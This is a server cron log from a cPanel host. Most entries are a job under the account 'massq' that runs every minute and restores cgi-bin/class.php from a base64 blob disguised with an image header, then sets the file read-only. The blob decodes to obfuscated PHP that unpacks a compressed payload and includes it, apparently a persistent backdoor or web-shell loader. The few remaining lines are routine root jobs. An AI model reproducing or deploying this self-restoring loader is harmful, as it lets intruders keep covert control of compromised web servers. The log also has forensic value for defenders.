Nov 11 01:25:01 server CROND[23230]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:26:01 server CROND[24139]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:27:01 server CROND[24965]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:27:01 server CROND[24966]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 01:28:01 server CROND[25771]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:29:01 server CROND[26592]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:30:01 server CROND[27338]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 01:30:01 server CROND[27340]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:30:01 server CROND[27339]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 01:30:01 server CROND[27341]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 01:31:01 server CROND[28259]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:32:01 server CROND[29070]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:33:01 server CROND[29905]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:34:01 server CROND[30411]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:35:01 server CROND[30876]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 01:35:01 server CROND[30878]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 11 01:35:01 server CROND[30879]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 01:35:01 server CROND[30887]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 01:35:01 server CROND[30890]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:36:01 server CROND[31933]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:37:01 server CROND[375]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
